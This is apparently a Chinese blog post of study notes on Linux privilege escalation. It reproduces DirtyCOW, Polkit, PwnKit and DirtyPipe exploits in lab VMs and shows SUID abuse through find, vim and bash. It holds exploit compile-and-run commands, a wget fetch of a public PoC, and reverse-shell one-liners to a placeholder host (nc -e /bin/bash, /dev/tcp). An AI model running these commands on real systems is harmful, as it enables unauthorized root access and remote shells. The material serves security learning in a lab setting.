首页 > 系统相关 >内网权限提升系统学习(linux)

内网权限提升系统学习(linux)

时间:2023-09-28 23:35:17浏览次数:33  
标签:http centos CentOS mirrors 学习 releasever linux 权限 poc

内网权限提升系统学习(linux)

内核漏洞利用

1.dirtyCOW(CVE-2016-5195)脏牛漏洞
影响范围:Linux内核>=2.6.22
1)前期准备
下载镜像 https://archive.kernel.org/centos-vault/6.0/isos/x86_64/CentOS-6.0-x86_64-LiveDVD.iso
ps:尽量别关机,就挂起
下载poc https://github.com/FireFart/dirtycow
经过测试,安装了vmtools后崩了,所以用ssh服务(或者rz命令)将脏牛代码发送到虚拟机内(注意要用普通用户权限上传代码)
开启ssh服务

service sshd start

关闭防火墙

service iptables stop

可以关机设置一个快照
然后可以用ssh连接工具(xshell等)连接
换源,将下述内容保存为CentOS-Base.repo,用ssh连接工具上传到centos6中,将/etc/yum.repos.d/CentOS-Base.repo备份,然后替换源文件

[base]
name=CentOS-$releasever - Base
#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=os&infra=$infra
#baseurl=http://mirror.centos.org/centos/$releasever/os/$basearch/
baseurl=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/os/x86_64/
gpgcheck=1
#gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6
gpgkey=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/os/x86_64/RPM-GPG-KEY-CentOS-6

#released updates
[updates]
name=CentOS-$releasever - Updates
#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=updates&infra=$infra
#baseurl=http://mirror.centos.org/centos/$releasever/updates/$basearch/
baseurl=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/updates/x86_64/
gpgcheck=1
#gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6
gpgkey=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/os/x86_64/RPM-GPG-KEY-CentOS-6

#additional packages that may be useful
[extras]
name=CentOS-$releasever - Extras
#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=extras&infra=$infra
#baseurl=http://mirror.centos.org/centos/$releasever/extras/$basearch/
baseurl=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/extras/x86_64/
gpgcheck=1
#gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6
gpgkey=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/os/x86_64/RPM-GPG-KEY-CentOS-6

#additional packages that extend functionality of existing packages
[centosplus]
name=CentOS-$releasever - Plus
#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=centosplus&infra=$infra
#baseurl=http://mirror.centos.org/centos/$releasever/centosplus/$basearch/
baseurl=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/centosplus/x86_64/
gpgcheck=1
enabled=0
#gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6
gpgkey=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/os/x86_64/RPM-GPG-KEY-CentOS-6

#contrib - packages by Centos Users
[contrib]
name=CentOS-$releasever - Contrib
#mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=contrib&infra=$infra
#baseurl=http://mirror.centos.org/centos/$releasever/contrib/$basearch/
baseurl=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/contrib/x86_64/
gpgcheck=1
enabled=0
#gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6
gpgkey=http://mirrors.tuna.tsinghua.edu.cn/centos-vault/6.0/os/x86_64/RPM-GPG-KEY-CentOS-6

生成缓存

yum makecache 

安装gcc

yum install gcc -y

然后到这个地方在未关机的状态创建一个快照
2)漏洞复现
用普通用户上传poc,然后编译

gcc -pthread dirty.c -o dirty -lcrypt


查看当前用户 普通权限

id


查看内核版本

uname -a


开始漏洞利用

./dirty

或者

 ./dirty newpassword


然后

su firefart 

查看权限

id


发现root用户没了

cat /etc/passwd



恢复

mv /tmp/passwd.bak /etc/passwd
y

这样又会有root用户,需要重新设置一下密码,但是ssh服务好像出些问题了

passwd root

2.Polkit(CVE-2021-3560)
影响版本:
RHEL8
Fedora21(orlater)
Debiantesting("bullseye")
Ubuntu20.04
1)前期准备
下载poc
https://github.com/Almorabea/Polkit-exploit
系统镜像(经过测试复现脏牛漏洞的centos6这个漏洞没复现成功)
http://old-releases.ubuntu.com/releases/20.04.2/ubuntu-20.04.2.0-desktop-amd64.iso
安装ssh服务,便于上传poc

apt install ssh
systemctl start ssh
systemctl enable ssh

关闭防火墙

systemctl stop ufw
systemctl disable ufw

关机,创建一个快照
2)漏洞复现
使用ssh服务上传poc

python3 CVE-2021-3560.py


3.PwnKit(CVE-2021-4043)
1)前期准备
下载poc https://github.com/arthepsy/CVE-2021-4034
系统用复现脏牛漏洞的centos6就行了,但要恢复到安装gcc后的那个快照,复现脏牛漏洞后系统感觉出现些问题
2)漏洞复现
普通用户上传poc
查看权限

id

编译

gcc cve-2021-4034-poc.c -o cve-2021-4034-poc

执行

./cve-2021-4034-poc

查看权限

id


4.DirtyPipe(CVE-2022-0847)
影响范围:5.8 <= Linux 内核版本 < 5.16.11 / 5.15.25 / 5.10.102
1)前期准备
系统下载 https://mirrors.aliyun.com/ubuntu-releases/bionic/ubuntu-18.04.6-desktop-amd64.iso
其中自带了python3.6
安装pip3

apt install python3-pip

在本机里下载https://github.com/brant-ruan/metarget.git,然后因为安装了vmtools,所以可以直接拖进去

pip3 install -r requirements.txt -i http://mirrors.aliyun.com/pypi/simple --trusted-host mirrors.aliyun.com

然后启动漏洞环境

sudo ./metarget cnv install cve-2022-0847


重启,查看内核版本确保漏洞环境搭建成功

uname -r


2)漏洞复现
获取poc

wget https://haxx.in/files/dirtypipez.c
gcc dirtypipez.c -o dirtypipez


这个poc需要事先找到一个具有SUID权限的可执行文件,然后利用这个文件进行提权
利用如下命令找到具有SUID权限的可执行文件

find / -perm -u=s -type f 2>/dev/null


然后执行

./dirtypipez /bin/su 


5.linux-exploit-suggester-2
1)前期准备
下载poc https://github.com/jondonas/linux-exploit-suggester-2
系统采用复现脏牛漏洞的centos6
2)漏掉利用
使用ssh服务上传poc
执行

chmod +x linux-exploit-suggester-2.pl
./linux-exploit-suggester-2.pl

权限机制滥用

1.SUID提权
现在目标是读到/root/flag.txt,但是现在的权限是普通权限
常见查看SUID文件的命令

find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
find / -uid 0 -perm -4000 -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null 


1)find提权
配置权限

chmod u+s /usr/bin/find

查看SUID文件

find / -user root -perm 4000 -print 2>/dev/null


在tmp目录下创建一个文件

cd /tmp
touch 1


或者进入交互式shell

find 1 -exec '/bin/sh' \;

但失败了

或者反弹shell
nc出现了报错

解决:
在root下

update-alternatives --config nc

find 1 -exec nc xxx 6666  -e /bin/bash \;
find 1 -exec bash -c 'bash -i >& /dev/tcp/xxx/6666 0>&1' \;

也失败了

2)vim提权
配置权限

chmod u+s /usr/bin/vim

3)nmap
4)more less
5)nano
6)bash
配置权限

chmod u+s /usr/bin/bash

然后普通用户提权

bash -p 


7)awk
8)curl

配置缺陷利用

敏感文件利用

应用服务提权

参考文章

https://l0n9w4y.cc/posts/29809/

标签:http,centos,CentOS,mirrors,学习,releasever,linux,权限,poc
From: https://www.cnblogs.com/thebeastofwar/p/17723015.html

相关文章

  • 学习笔记4
    第7章文件操作——教材知识点归纳7.1文件操作级别在Linux中,文件操作可以分为五个级别,从最底层到最高层分别如下:硬件级别:这一级别包括诸如fdisk(用于分区)、mkfs(用于格式化磁盘分区)、fsck(用于检查系统)以及碎片整理(用于压缩文件系统中的文件)等操作。内核级别的文件系统函......
  • 5. 深度学习计算
    层与块块是由若干个层组成,在编程中我们一般用类表示块,一般我们通过实例化nn.Sequential()来构建模型,而有时我们需要自定义块;classMLP(nn.Module):#用模型参数声明层。这里,我们声明两个全连接的层 def__init__(self): #调用MLP的父类Module的构造函数来执行必......
  • Linux第7、8章学习笔记
    第七、八章学习笔记第七章文件操作文件操作级别文件操作分为五个级别,按照从高到低的顺序如下:(1)硬件级别:硬件级别的文件操作包括:fdisk:将硬盘、U盘或SDC盘分区。mkfs:格式化磁盘分区、为系统做好准备。fsck:检查和维修系统。碎片整理:压缩文件系统中的文件。大多数是......
  • Linux第七、八章学习笔记
    第七、八章学习笔记第七章文件操作文件操作级别文件操作分为五个级别,按照从高到低的顺序如下:(1)硬件级别:硬件级别的文件操作包括:fdisk:将硬盘、U盘或SDC盘分区。mkfs:格式化磁盘分区、为系统做好准备。fsck:检查和维修系统。碎片整理:压缩文件系统中的文件。大多数是......
  • 学习笔记4 第七八章的自学归纳
    第7章文件操作文件操作五个级别1.硬件级别:普通用户不会接触,但它是创建和维护系统不可缺少的工具fdisk、mkfs、fsck2.操作系统内核中的文件系统函数每个操作系统内核均可为基本文件操作提供支持。在类unix函数中前缀k表示内核函数3.系统调用用户模式程序使用系统调用来访问......
  • 信息安全系统设计与实现——学习笔记4
    任务详情:自学教材第7,8章,提交学习笔记(10分)Part1知识点归纳&GPT提问知识点归纳chap7文件操作级别硬件级别fdiskmkfsfsck碎片整理操作系统内核中的文件系统函数系统调用I/O库函数用户命令sh脚本文件I/O操作低级别文件操作分区Command(mforhelp):m---......
  • 信息安全系统设计与实现 学习笔记4
    文件操作文件操作级别硬件级别:fdisk将硬盘、U盘或SDC盘分区。mkfs:格式化磁盘分区,为系统做好准备。fsck:检查和维修系统。碎片整理:压缩文件系统中的文件。操作系统内核中的文件系统函数kmount(),kumount()kmkdir(),krmdir()系统调用用户模式使用系统调用来访问内核函数......
  • openGauss学习笔记-83 openGauss 数据库管理-内存优化表MOT管理-内存表特性-MOT使用内
    openGauss学习笔记-83openGauss数据库管理-内存优化表MOT管理-内存表特性-MOT使用内存和存储规划本节描述了为满足特定应用程序需求,在评估、估计和规划内存和存储容量数量时,需要注意的事项和准则,以及影响所需内存数量的各种数据,例如计划表的数据和索引大小、维持事务管理的内存......
  • 《Unix/Linux系统编程》教材学习笔记第七章、第八章
    chapter7文件操作级别文件操作分五个级别,从低到高排序如下:1.硬件级别:硬件级别的文件操作包括fdisk:将硬盘、U盘或SDC盘分区。mkfs:格式化磁盘分区,为系统做好准备。fsck:检查和维修系统。碎片整理:压缩文件系统中的文件。其中大多说是针对系统的实用程序。2.操作系统内核中......
  • 学习笔记4
    第七、八章文件操作文件操作级别1.硬件操作  大多数是针对系统的实用程序2.操作系统内核中的文件系统函数  每个操作系统内核均可为基本文件操作提供支持3.系统调用  用户模式程序使用系统调用来访问内核函数  每个库函数都会发出一个系统调用,使进程进入内核模式......